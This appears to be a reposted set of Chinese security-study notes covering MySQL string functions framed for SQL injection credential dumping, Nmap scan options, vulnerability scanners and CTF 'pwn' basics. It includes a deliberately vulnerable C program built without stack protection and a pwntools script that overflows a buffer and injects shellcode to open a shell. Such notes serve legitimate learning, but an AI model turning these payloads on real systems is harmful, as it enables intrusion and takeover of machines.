mysql链接字符串函数
- concat(str1,str2)
- concat_ws(separator,str1,str2….)
- group_concat(str1,str2….)
- mysql的concat函数可以连接一个或者多个字符串
- concat(username,0x23,password,0x23…..)
- concat_ws()函数,表示concat with separator,即有分隔符的字符串连接
- group_concat()函数,把每一行数据分到一个组里显示出来
/ 搜索引擎 撒旦
Maltego工具
开源的漏洞评估工具、
Nmap工具 免费的开放的网络扫描和嗅探工具包
可以探测存活主机,扫描主机端口,探测主机操作系统 nmap[扫描类型][参数] 目标ip
扫描类型
-sT TCP连接扫描,需要建立三次握手,会在目标主机中记录大量的连接请求和错误信息。
-sS SYN扫描,不建立三次握手,很少有系统记入日志,默认使用,需要用root(admin)权限。 -sP ping扫描,默认使用,只有能ping得通才会继续扫描
-P0 扫描之前不需要Ping,用于绕过防火墙禁ping功能,
-sA 用来穿过防火墙的规则集合(ACK置位),扫描端口时效果不好。
-sV 探测服务版本信息(服务指纹)
-sU UDP扫描,扫描主机开启的UDP服务,速度慢,结果不可靠
Nessus漏洞扫描工具
Nessus是全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75000个机构在使用
该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库
Vega工具是一款免费的开源扫描仪和测试平台,用于测试web应用程序的安全性,可查找SQL注入,跨站脚本(XSS)。泄漏的敏感信息及其它漏洞。
sudo echo”set disassembly-flavor intel”>~/.gdbinit
pwn简介
入门
PWN题目信息
二进制漏洞根源 RAM内存 寄存器属于CPU的变量、数据和指令要分开。
pwn主要利用漏洞达成攻击者的目的。主要取得程序的控制权。
gdb-peda checksec 查看开启的服务
* elfsymbol查看调用的函数plt地址
vmmap查看内存映射
find 查找字符串
工具Pwntools
基于python的Exploit编写库
Linux 下为ELF
.bss 存放未初始化的全局变量
.data存放已经初始化的全局变量
.text存放程序执行代码
.rodata存放只读数据
Windows下为PE
#include <stdio.h>
void main(){char *shellcode;read(0,shellcode,1000);void (*fptr)()=shellcode;fptr();
}
gcc -fno-stack-protector -z execstack bof.c -o bof
from pwn import *context.arch="amd64"
buf2_addr=0x601080payload = "A"*40+p64(buf2_addr)
shcode = asm(shellcraft.sh())#p = remote("127.0.0.1",6666)
p = process("./bof")
p.recvuntil(": ")
p.sendline(payload)
p.recvuntil(": ")#shcode2 = open("code").read()
p.sendline(shcode)
p.interactive()
RELRO
got(全局偏移量表)
本文发布于:2024-02-02 00:29:54,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170681045240207.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |